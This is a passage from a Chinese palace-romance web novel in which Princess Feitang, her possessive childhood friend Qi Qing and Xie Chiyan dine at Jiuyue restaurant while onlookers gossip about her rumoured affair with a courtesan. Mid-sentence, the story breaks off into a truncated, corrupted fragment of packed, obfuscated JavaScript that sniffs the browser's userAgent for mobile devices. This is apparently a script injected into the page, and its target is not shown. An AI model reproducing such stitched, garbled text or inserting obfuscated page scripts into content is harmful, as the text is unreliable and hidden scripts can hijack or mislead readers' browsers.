他无法想象殿下若是喜欢上了旁人......
不!殿下只能是他的。
马车突然颠簸了一下,“嘎吱”一声,颠得绯棠的脑袋撞到了后面的车壁,不过瞬息之间,祁卿就敛下眉眼,将眼中露骨的欲.望收得滴水不漏。
一边担忧道:“殿下没事吧?”
“没事......”绯棠迷迷糊糊地抬手揉了揉被撞到的后脑勺,随后又调整了位置继续闭目养神。马车平稳地往前走,这带着轻微的摇晃竟让她睡着了。
丝毫不知道自己的青梅竹马是颗黑心白皮汤圆。
马车驶进了热闹的夕照街,不多时便到了玖月楼。
“殿下,玖月楼到了。”
不同于立在湖上的醉仙楼,这玖月楼临街而设,坐落于闹市中心。
这地方上至百官、下至黎民百姓都可以进入。无论在哪儿,有人的地方吃瓜群众也多。
本就有些风流韵事在身,为了少些是非,绯棠下了马车后便戴上了面纱。不过别人不认识她,却是对祁卿那张脸很是熟悉,如今见着祁大公子与她一并入了玖月楼,同行的还有一位身姿卓绝,容色皆是一绝的男子......
“那是谁啊?”
“戴着面纱看不清,不过她身边的不是祁大公子吗?”
“我看是,这祁大公子陪行的女子,瞧着年岁不大,莫非是.....五皇女殿下?”
“那另一个男子又是谁?莫不是...那醉仙楼的花魁?”
“不能吧,那身气度不像是花魁。”
整个帝都都知道皇女长宁体弱多病,极少出宫门。上一次出来还是在五日前,去的还是盛产美人的醉仙楼。据说便是在那儿与花魁有了风流事......
自那日后,坊间便流传着这样一个事儿,据说公主离开醉仙楼后,兰溪花魁的房间里就挂上了一幅画,画上是一个着红衣,面带薄纱的美人。
有人说......那是那日公主去寻兰溪,让其作的画。
还有人说......兰溪公子攀上了皇女,将来怕是要入宫做侧君的。
古往今来,吃瓜群众就喜欢吃这种瓜,一个个的竖起了耳朵,盯上了绯棠进入的包间。
玖月楼三楼,绯棠几人已经进了雅间内。
雅间布置得精美,整体以蓝白色调为主,风格偏于风雅。其间有一纱幔将用吃食的区域与稍宽敞的中间隔开,里面已经摆好了酒菜。
绯棠细细打量着里面的装饰,一边在桌边坐下,一边将脸上的面纱摘下来。
她能出宫的机会不多,虽然母皇允了她随意进出宫门的特权,可她身子骨差,之前并未亲自来过玖月楼。
“这地方倒是雅致,难怪大公子喜欢来这儿。”
“殿下喜欢就好。”桌上在他们进来前就已经摆好了酒菜。祁卿拿起玉做的筷子就夹了菜放到绯棠的碗中,“这樱桃肉殿下尝尝,看看与御膳房的口味比起来如何?”
绯棠轻轻咬了一口,“确实不错。”
“不过说起来饭食,本宫那大皇姐府中的厨子做菜,能做得比御膳房好吃。可惜本宫此前与大皇姐没什么交情,今日这菜倒是和那厨子的手艺有些相似。”
“是吗?”祁卿笑得滴水不漏,“那殿下今日可得多吃些,过几日便要与谢仙君一同离开帝都,可就尝不到这味道了。”
“不过殿下此去天玄宗,一路上有谢仙君照料,应是不会受苦。”祁卿轻轻朝着坐在他对面的谢迟砚点了点头。
见他又在朝着谢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator